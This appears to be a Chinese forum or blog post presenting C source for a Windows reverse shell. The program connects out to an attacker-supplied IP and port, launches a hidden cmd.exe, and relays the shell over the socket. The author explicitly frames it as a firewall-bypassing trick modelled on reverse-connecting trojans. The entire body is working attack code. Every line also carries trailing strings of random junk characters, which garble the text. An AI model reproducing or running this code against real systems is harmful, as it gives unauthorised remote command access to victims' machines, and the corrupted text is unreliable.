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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #;\tgUQ  
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/* ============================== rW2l+:@c  
Rebound port in Windows NT -e.ygiK.`S  
By wind,2006/7  -K4uqUp  
===============================*/ Lw6}b B`}  
#include HHZrovA#  
#include Ku8qn \2"  
}q)dXFL=I#  
#pragma comment(lib,"wsock32.lib") r#c+{yY  
`L"l{^cH  
void OutputShell(); 85{@&T  
SOCKET sClient; V7?Pv Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vah.tOU  
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void main(int argc,char **argv) (kJ"M4*<F'  
{ fRt&-z('  
WSADATA stWsaData; qbo W<W<H1  
int nRet; 960rbxKy3  
SOCKADDR_IN stSaiClient,stSaiServer; fn.}LeeS>  
t7/a5x  
if(argc != 3) ~t^'4"K*  
{ y<)q;fI7  
printf("Useage:\n\rRebound DestIP DestPort\n"); )C>M74Bt  
return; b\+9#)Up@  
} 41o ~5:&  
 KRh?{  
WSAStartup(MAKEWORD(2,2),&stWsaData); rlkg.e6  
= $6pL  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +|Mi lwr  
I_'0!@Nn7  
stSaiClient.sin_family = AF_INET; jxZd =%7Q  
stSaiClient.sin_port = htons(0); }#E~XlX^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %loe8yt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /pz(s+4=  
{ yV5AVM o  
printf("Bind Socket Failed!\n"); L)_L#]Yy  
return; BoXGoFn  
} Jek)`D  
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stSaiServer.sin_family = AF_INET; D?P1\<A~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )%9 P ;/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $c24lJ#/  
3qq 6X?y*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d<v)ovQJ]  
{ oBzjEv  
printf("Connect Error!"); d+g+ {p>?  
return; _"sFLe{  
} !,N),xG}~  
OutputShell(); S.NLxb/  
} sme!!+Rd  
S)*!jI  
void OutputShell() |I=\+P}s  
{ &;oWmmvz{  
char szBuff[1024]; [X=Ot#?u ~  
SECURITY_ATTRIBUTES stSecurityAttributes; {1]Of'x'  
OSVERSIONINFO stOsversionInfo; }aa ~@K<A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ch]Q%M  
STARTUPINFO stStartupInfo; A[X~:p.^G  
char *szShell; 2bt2h.a  
PROCESS_INFORMATION stProcessInformation; c>e~$b8  
unsigned long lBytesRead; qEB]Tj e[  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \S"YLRn"  
9h 0^_|"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ( O/+.qb  
stSecurityAttributes.lpSecurityDescriptor = 0; `xd{0EvF  
stSecurityAttributes.bInheritHandle = TRUE; hh"=|c  
P6o-H$ a+  
 IQCIc@5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6WX+p3Kv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ue#Y h  
r!J?Lc])8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~<w9a]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }u8D5Q<(  
stStartupInfo.wShowWindow = SW_HIDE; GHo=)NTjy  
stStartupInfo.hStdInput = hReadPipe; (eJYv: ^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -4'yC_8t  
KRh95B GU  
GetVersionEx(&stOsversionInfo); IBr|A  
4).>b3OhX  
switch(stOsversionInfo.dwPlatformId) [vY? !  
{ x'wT%/hp  
case 1: 3re|=_ Hy  
szShell = "command.com"; Z CS{D  
break; '1yy&QUZq  
default: (@1*-4l  
szShell = "cmd.exe"; hh>mX6A  
break; 1?bX$$y l;  
}  *$o{+YP  
Rw\S-z/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M/mUY  
P(&9S`I  
send(sClient,szMsg,77,0); @q]{s+#Xf  
while(1) T'nQj<dBt:  
{ naoH685R4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y!?l;xMS  
if(lBytesRead) DEkFmmw   
{ pn6!QpV5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V_"K  
send(sClient,szBuff,lBytesRead,0); ?H_'L4Wv  
} A 9HJWKO  
else 7I_lTu(  
{ ^UAL5}CQt  
lBytesRead=recv(sClient,szBuff,1024,0); RxVf:h'l  
if(lBytesRead<=0) break; vS|uN(a.P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1Q ^YaHzuW  
} ZNvnVW<  
} -] .Y";  
NuqWezJm&  
return; ` 'y[i  
}
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